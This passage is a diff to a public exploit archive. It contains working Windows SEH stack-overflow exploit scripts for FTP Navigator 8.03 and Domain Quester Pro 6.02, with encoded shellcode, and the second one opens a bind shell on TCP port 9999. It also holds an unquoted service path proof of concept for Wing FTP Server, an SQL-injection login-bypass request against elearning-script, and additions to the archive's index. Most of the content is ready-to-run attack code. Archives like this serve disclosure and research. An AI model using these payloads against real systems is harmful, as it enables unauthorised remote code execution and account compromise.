shellcode += b"\x42\x36\x32\x30\x57\x4c\x4b\x51\x42\x34\x50"
shellcode += b"\x4c\x4b\x50\x4a\x57\x4c\x4c\x4b\x30\x4c\x32"
shellcode += b"\x31\x34\x38\x4b\x53\x57\x38\x43\x31\x4e\x31"
shellcode += b"\x46\x31\x4c\x4b\x31\x49\x51\x30\x45\x51\x48"
shellcode += b"\x53\x4c\x4b\x47\x39\x44\x58\x4b\x53\x37\x4a"
shellcode += b"\x31\x59\x4c\x4b\x56\x54\x4c\x4b\x35\x51\x4e"
shellcode += b"\x36\x50\x31\x4b\x4f\x4e\x4c\x39\x51\x38\x4f"
shellcode += b"\x34\x4d\x45\x51\x59\x57\x30\x38\x4b\x50\x43"
shellcode += b"\x45\x5a\x56\x55\x53\x33\x4d\x4a\x58\x57\x4b"
shellcode += b"\x53\x4d\x31\x34\x54\x35\x4a\x44\x36\x38\x4c"
shellcode += b"\x4b\x31\x48\x36\x44\x45\x51\x38\x53\x35\x36"
shellcode += b"\x4c\x4b\x44\x4c\x30\x4b\x4c\x4b\x30\x58\x35"
shellcode += b"\x4c\x53\x31\x49\x43\x4c\x4b\x44\x44\x4c\x4b"
shellcode += b"\x55\x51\x38\x50\x4d\x59\x47\x34\x31\x34\x56"
shellcode += b"\x44\x51\x4b\x51\x4b\x55\x31\x46\x39\x31\x4a"
shellcode += b"\x30\x51\x4b\x4f\x4d\x30\x31\x4f\x31\x4f\x50"
shellcode += b"\x5a\x4c\x4b\x42\x32\x4a\x4b\x4c\x4d\x31\x4d"
shellcode += b"\x53\x5a\x33\x31\x4c\x4d\x4b\x35\x48\x32\x33"
shellcode += b"\x30\x55\x50\x33\x30\x56\x30\x32\x48\x30\x31"
shellcode += b"\x4c\x4b\x42\x4f\x4d\x57\x4b\x4f\x38\x55\x4f"
shellcode += b"\x4b\x4c\x30\x4f\x45\x59\x32\x56\x36\x55\x38"
shellcode += b"\x59\x36\x5a\x35\x4f\x4d\x4d\x4d\x4b\x4f\x59"
shellcode += b"\x45\x37\x4c\x54\x46\x43\x4c\x54\x4a\x4d\x50"
shellcode += b"\x4b\x4b\x4b\x50\x34\x35\x33\x35\x4f\x4b\x51"
shellcode += b"\x57\x32\x33\x53\x42\x52\x4f\x42\x4a\x35\x50"
shellcode += b"\x50\x53\x4b\x4f\x39\x45\x42\x43\x53\x51\x42"
shellcode += b"\x4c\x32\x43\x53\x30\x41\x41"
jmp2nops = '\xe8\xff\xff\xff\xff' # call +4 // This call will land us at the last \xff of our call instruction
jmp2nops += '\xc3' # ret/inc ebx // Since EIP is at \xff after call, this will be interpruted as: \xff\xc3 =inc ebx (a nop instruction)
jmp2nops += '\x59' # pop ecx // Pop the memory location from the call instruction that was pushed onto the stack into the ECX register
jmp2nops += '\x31\xd2' # xor edx, edx // Clear the EDX register. We are going to jump to the beginning of our buffer.
jmp2nops += '\x66\x81\xca\xfc\x0f' # or dx, 4092 // EDX is now equal to 0x00000ffc
jmp2nops += '\x66\x29\xd1' # sub ex, dx // We subtract 4092 bytes from our memory location in the ECX register.
jmp2nops += '\xff\xe1' # jmp ecx // Now we jump back to the beginning of our buffer; into our NOP sled.
offset = '\x41' * (4112-len(nops+shellcode+jmp2nops))
nSEH = '\xeb\xeb\x90\x90' # jmp short -22 (to jmp2nops)
# 0x00457576 [ftpnavi.exe] : pop edx # pop ebx # ret
# | Rebase: False | ASLR: False | SafeSEH: False
# | (c:\FTP Navigator\ftpnavi.exe) | startnull,asciiprint,ascii,alphanum {PAGE_EXECUTE_READ}
SEH = '\x76\x75\x45' # SEH 3 byte overwrite
payload = nops+shellcode+offset+jmp2nops+nSEH+SEH
File = 'poc.txt'
f = open(File, 'w') # open file for write
f.write(payload)
f.close() # close the file
print blt + File + " created successfully "
except:
print err + File + ' failed to create'

24
exploits/windows/local/47818.txt Normal file
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# Exploit Title: Wing FTP Server 6.0.7 - Unquoted Service Path
# Date: 2019-12-30
# Exploit Author: Nawaf Alkeraithe
# Vendor Homepage: https://www.wftpserver.com/
# Version: 6.0.7
# Tested on: Windows 10
# CVE : N/A
# PoC:
C:\Users\user>sc qc "Wing FTP Server"
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: Wing FTP Server
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\Wing FTP
Server\WFTPServer.exe service
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Wing FTP Server
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

82
exploits/windows/local/47825.py Executable file
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@ -0,0 +1,82 @@
# Exploit Title: Domain Quester Pro 6.02 - Stack Overflow (SEH)
# Date: 2019-12-26
# Exploit Author: boku
# Software Vendor: http://www.internet-soft.com/
# Software Link: http://www.internet-soft.com/DEMO/questerprosetup.exe
# Version: Version 6.02
# Tested on: Microsoft Windows 7 Enterprise - 6.1.7601 Service Pack 1 Build 7601 (x86-64)
# Recreate:
# 1) Generate 'bind9999.txt' payload using python 2.7.x
# 2) On target Windows machine, open the file 'bind9999.txt' with notepad, then Select-All & Copy
# 3) Install & Open Domain Quester Pro 6.02
# 4) Under 'Domain Name Keywords', click 'Add'
# - A textbox will appear
# 5) Paste payload from generated txt file into textbox
# 6) Click 'OK'
# - The program will freeze & a bind shell will be listening on tcp port 9999, on all interfaces
#!/usr/bin/python
File = 'bind9999.txt'
try:
# SEH triggered by exception 'Access violation when reading [eax]'
# - Crash at Instruction: 00403AB8 8B10 mov edx, dword ptr ds:[eax]
# - EAX is overwritten by our overflow
# - SEH overwriten at 4116 bytes
# Bad Characters: '\x00\x02\x03\x04\x05\x06\x07\x08\x0a\x0c\x0d'
# - The above bytes truncate the buffer
nops = '\x90'*400
# msfvenom -p windows/shell_bind_tcp LPORT=9999 -v shellcode -a x86 --platform windows -b '\x00\x02\x03\x04\x05\x06\x07\x08\x0a\x0c\x0d' --format python
# x86/call4_dword_xor chosen with final size 352
shellcode = b""
shellcode += b"\x2b\xc9\x83\xe9\xae\xe8\xff\xff\xff\xff\xc0"
shellcode += b"\x5e\x81\x76\x0e\xa3\xda\x2f\x1f\x83\xee\xfc"
shellcode += b"\xe2\xf4\x5f\x32\xad\x1f\xa3\xda\x4f\x96\x46"
shellcode += b"\xeb\xef\x7b\x28\x8a\x1f\x94\xf1\xd6\xa4\x4d"
shellcode += b"\xb7\x51\x5d\x37\xac\x6d\x65\x39\x92\x25\x83"
shellcode += b"\x23\xc2\xa6\x2d\x33\x83\x1b\xe0\x12\xa2\x1d"
shellcode += b"\xcd\xed\xf1\x8d\xa4\x4d\xb3\x51\x65\x23\x28"
shellcode += b"\x96\x3e\x67\x40\x92\x2e\xce\xf2\x51\x76\x3f"
shellcode += b"\xa2\x09\xa4\x56\xbb\x39\x15\x56\x28\xee\xa4"
shellcode += b"\x1e\x75\xeb\xd0\xb3\x62\x15\x22\x1e\x64\xe2"
shellcode += b"\xcf\x6a\x55\xd9\x52\xe7\x98\xa7\x0b\x6a\x47"
shellcode += b"\x82\xa4\x47\x87\xdb\xfc\x79\x28\xd6\x64\x94"
shellcode += b"\xfb\xc6\x2e\xcc\x28\xde\xa4\x1e\x73\x53\x6b"
shellcode += b"\x3b\x87\x81\x74\x7e\xfa\x80\x7e\xe0\x43\x85"
shellcode += b"\x70\x45\x28\xc8\xc4\x92\xfe\xb2\x1c\x2d\xa3"
shellcode += b"\xda\x47\x68\xd0\xe8\x70\x4b\xcb\x96\x58\x39"
shellcode += b"\xa4\x25\xfa\xa7\x33\xdb\x2f\x1f\x8a\x1e\x7b"
shellcode += b"\x4f\xcb\xf3\xaf\x74\xa3\x25\xfa\x75\xab\x83"
shellcode += b"\x7f\xfd\x5e\x9a\x7f\x5f\xf3\xb2\xc5\x10\x7c"
shellcode += b"\x3a\xd0\xca\x34\xb2\x2d\x1f\x84\xd5\xa6\xf9"
shellcode += b"\xc9\xca\x79\x48\xcb\x18\xf4\x28\xc4\x25\xfa"
shellcode += b"\x48\xcb\x6d\xc6\x27\x5c\x25\xfa\x48\xcb\xae"
shellcode += b"\xc3\x24\x42\x25\xfa\x48\x34\xb2\x5a\x71\xee"
shellcode += b"\xbb\xd0\xca\xcb\xb9\x42\x7b\xa3\x53\xcc\x48"
shellcode += b"\xf4\x8d\x1e\xe9\xc9\xc8\x76\x49\x41\x27\x49"
shellcode += b"\xd8\xe7\xfe\x13\x1e\xa2\x57\x6b\x3b\xb3\x1c"
shellcode += b"\x2f\x5b\xf7\x8a\x79\x49\xf5\x9c\x79\x51\xf5"
shellcode += b"\x8c\x7c\x49\xcb\xa3\xe3\x20\x25\x25\xfa\x96"
shellcode += b"\x43\x94\x79\x59\x5c\xea\x47\x17\x24\xc7\x4f"
shellcode += b"\xe0\x76\x61\xdf\xaa\x01\x8c\x47\xb9\x36\x67"
shellcode += b"\xb2\xe0\x76\xe6\x29\x63\xa9\x5a\xd4\xff\xd6"
shellcode += b"\xdf\x94\x58\xb0\xa8\x40\x75\xa3\x89\xd0\xca"
jmp2nops = '\xe8\xff\xff\xff\xff' # call +4 // This call will land us at the last \xff of our call instruction
jmp2nops += '\xc3' # ret/inc ebx // Since EIP is at \xff after call, this will be interpruted as \xff\xc3 (inc ebx)
jmp2nops += '\x59' # pop ecx // Pop the memory location from the call instruction that was pushed onto the stack into the ECX register
jmp2nops += '\x31\xd2' # xor edx, edx // Clear the EDX register. We are going to jump to the beginning of our buffer.
jmp2nops += '\x66\x81\xca\x04\x10' # or dx, 4090 // EDX is now equal to 0x00004100.
jmp2nops += '\x66\x29\xd1' # sub ex, dx // We subtract 4100 bytes from our memory location in the ECX register.
jmp2nops += '\xff\xe1' # jmp ecx // Now we jump back to the beginning of our buffer; into our NOP sled.
offset = '\x41' * (4116-len(nops+shellcode+jmp2nops))
nSEH = '\xeb\xeb\x90\x90' # jmp short -22 (to jmp2nops)
# 0x00400000 [questpro.exe] | Rebase: False | ASLR: False | SafeSEH: False
# 0x0042666b [questpro.exe] | pop ecx + pop ebp + ret | {PAGE_EXECUTE_READ}
SEH = '\x6b\x66\x42' # SEH 3 byte overwrite
payload = nops+shellcode+offset+jmp2nops+nSEH+SEH
f = open(File, 'w')
f.write(payload)
f.close()
print File + ' created successfully '
except:
print File + ' failed to create'

31
exploits/windows/webapps/47811.txt Normal file
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@ -0,0 +1,31 @@
# Exploit Title: elearning-script 1.0 - Authentication Bypass
# Author: riamloo
# Date: 2019-12-29
# Vendor Homepage: https://github.com/amitkolloldey/elearning-script
# Software Link: https://github.com/amitkolloldey/elearning-script/archive/master.zip
# Version: 1
# CVE: N/A
# Tested on: Win 10
# Discription:
# E Learning Blog Developed In Raw PHP
# Vulnerability: Attacker can bypass login page and access to dashboard page
# vulnerable file : /login.php
# Parameter & Payload: '=''or'
# Proof of Concept:
http://localhost/elearning-script-master/login.php
POST /elearning-script-master/login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;
Content-Length: 445
Referer: http://localhost/elearning-script-master/login.php
Cookie: PHPSESSID=a81sp8jg62nzxs8icvbf44ep3iu
Connection: close
Upgrade-Insecure-Requests: 1
'=''or'

28
files_exploits.csv
View file

@ -10849,6 +10849,15 @@ id,file,description,date,author,type,platform,port
47780,exploits/openbsd/local/47780.txt,"OpenBSD 6.x - Dynamic Loader Privilege Escalation",2019-12-16,"Qualys Corporation",local,openbsd,
47788,exploits/windows/local/47788.py,"AVS Audio Converter 9.1 - 'Exit folder' Buffer Overflow",2019-12-18,ZwX,local,windows,
47802,exploits/windows/local/47802.py,"Prime95 Version 29.8 build 6 - Buffer Overflow (SEH)",2019-12-23,stresser,local,windows,
47803,exploits/openbsd/local/47803.rb,"OpenBSD - Dynamic Loader chpass Privilege Escalation (Metasploit)",2019-12-30,Metasploit,local,openbsd,
47804,exploits/linux/local/47804.rb,"Reptile Rootkit - reptile_cmd Privilege Escalation (Metasploit)",2019-12-30,Metasploit,local,linux,
47805,exploits/windows/local/47805.rb,"Microsoft UPnP - Local Privilege Elevation (Metasploit)",2019-12-30,Metasploit,local,windows,
47810,exploits/windows/local/47810.py,"AVS Audio Converter 9.1.2.600 - Stack Overflow (PoC)",2019-12-30,boku,local,windows,
47812,exploits/windows/local/47812.py,"FTP Navigator 8.03 - Stack Overflow (SEH)",2019-12-30,boku,local,windows,
47818,exploits/windows/local/47818.txt,"Wing FTP Server 6.0.7 - Unquoted Service Path",2019-12-30,"Nawaf Alkeraithe",local,windows,
47825,exploits/windows/local/47825.py,"Domain Quester Pro 6.02 - Stack Overflow (SEH)",2019-12-30,boku,local,windows,
47829,exploits/freebsd/local/47829.sh,"FreeBSD-SA-19:02.fd - Privilege Escalation",2019-12-30,"Karsten König",local,freebsd,
47830,exploits/freebsd/local/47830.sh,"FreeBSD-SA-19:15.mqueuefs - Privilege Escalation",2019-12-30,"Karsten König",local,freebsd,
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
@ -42108,3 +42117,22 @@ id,file,description,date,author,type,platform,port
47796,exploits/hardware/webapps/47796.txt,"Deutsche Bahn Ticket Vending Machine Local Kiosk - Privilege Escalation",2019-12-19,Vulnerability-Lab,webapps,hardware,
47798,exploits/php/webapps/47798.txt,"phpMyChat-Plus 1.98 - 'pmc_username' Reflected Cross-Site Scripting",2019-12-20,"Chris Inzinga",webapps,php,
47800,exploits/php/webapps/47800.py,"WordPress Core < 5.3.x - 'xmlrpc.php' Denial of Service",2019-12-17,roddux,webapps,php,
47806,exploits/hardware/webapps/47806.txt,"HomeAutomation 3.3.2 - Persistent Cross-Site Scripting",2019-12-30,LiquidWorm,webapps,hardware,
47807,exploits/php/webapps/47807.txt,"HomeAutomation 3.3.2 - Authentication Bypass",2019-12-30,LiquidWorm,webapps,php,
47808,exploits/php/webapps/47808.txt,"HomeAutomation 3.3.2 - Cross-Site Request Forgery (Add Admin)",2019-12-30,LiquidWorm,webapps,php,
47809,exploits/php/webapps/47809.txt,"HomeAutomation 3.3.2 - Remote Code Execution",2019-12-30,LiquidWorm,webapps,php,
47811,exploits/windows/webapps/47811.txt,"elearning-script 1.0 - Authentication Bypass",2019-12-30,riamloo,webapps,windows,
47813,exploits/hardware/webapps/47813.txt,"XEROX WorkCentre 6655 Printer - Cross-Site Request Forgery (Add Admin)",2019-12-30,"Ismail Tasdelen",webapps,hardware,
47814,exploits/php/webapps/47814.txt,"Thrive Smart Home 1.1 - Authentication Bypass",2019-12-30,LiquidWorm,webapps,php,
47815,exploits/hardware/webapps/47815.txt,"XEROX WorkCentre 7855 Printer - Cross-Site Request Forgery (Add Admin)",2019-12-30,"Ismail Tasdelen",webapps,hardware,
47816,exploits/hardware/webapps/47816.txt,"XEROX WorkCentre 7830 Printer - Cross-Site Request Forgery (Add Admin)",2019-12-30,"Ismail Tasdelen",webapps,hardware,
47817,exploits/hardware/webapps/47817.txt,"WEMS BEMS 21.3.1 - Undocumented Backdoor Account",2019-12-30,LiquidWorm,webapps,hardware,
47819,exploits/hardware/webapps/47819.txt,"AVE DOMINAplus 1.10.x - Credential Disclosure",2019-12-30,LiquidWorm,webapps,hardware,
47820,exploits/hardware/webapps/47820.txt,"AVE DOMINAplus 1.10.x - Unauthenticated Remote Reboot",2019-12-30,LiquidWorm,webapps,hardware,
47821,exploits/hardware/webapps/47821.txt,"AVE DOMINAplus 1.10.x - Cross-Site Request Forgery (enable/disable alarm)",2019-12-30,LiquidWorm,webapps,hardware,
47822,exploits/hardware/webapps/47822.txt,"AVE DOMINAplus 1.10.x - Authentication Bypass",2019-12-30,LiquidWorm,webapps,hardware,
47823,exploits/hardware/webapps/47823.txt,"Heatmiser Netmonitor 3.03 - Hardcoded Credentials",2019-12-30,"Ismail Tasdelen",webapps,hardware,
47824,exploits/hardware/webapps/47824.txt,"MyDomoAtHome REST API Domoticz ISS Gateway 0.2.40 - Information Disclosure",2019-12-30,LiquidWorm,webapps,hardware,
47826,exploits/hardware/webapps/47826.txt,"RICOH SP 4510SF Printer - HTML Injection",2019-12-30,"Ismail Tasdelen",webapps,hardware,
47827,exploits/hardware/webapps/47827.txt,"RICOH Web Image Monitor 1.09 - HTML Injection",2019-12-30,"Ismail Tasdelen",webapps,hardware,
47828,exploits/hardware/webapps/47828.txt,"Heatmiser Netmonitor 3.03 - HTML Injection",2019-12-30,"Ismail Tasdelen",webapps,hardware,

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